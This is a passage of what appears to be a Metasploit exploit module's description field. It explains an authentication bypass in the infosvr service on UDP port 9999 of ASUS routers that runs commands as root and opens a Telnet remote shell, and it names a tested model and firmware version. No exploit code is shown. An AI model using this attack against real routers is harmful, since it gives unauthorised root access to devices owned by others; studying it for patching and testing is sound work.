      'Description' => %q{
        This module exploits an authentication bypass vulnerability in the
        infosvr service running on UDP port 9999 on various ASUS routers to
        execute arbitrary commands as root.

        This module launches the BusyBox Telnet daemon on the port specified
        in the TelnetPort option to gain an interactive remote shell.

        This module was tested successfully on an ASUS RT-N12E with firmware
        version 2.0.0.35.

        Numerous ASUS models are reportedly affected, but untested.
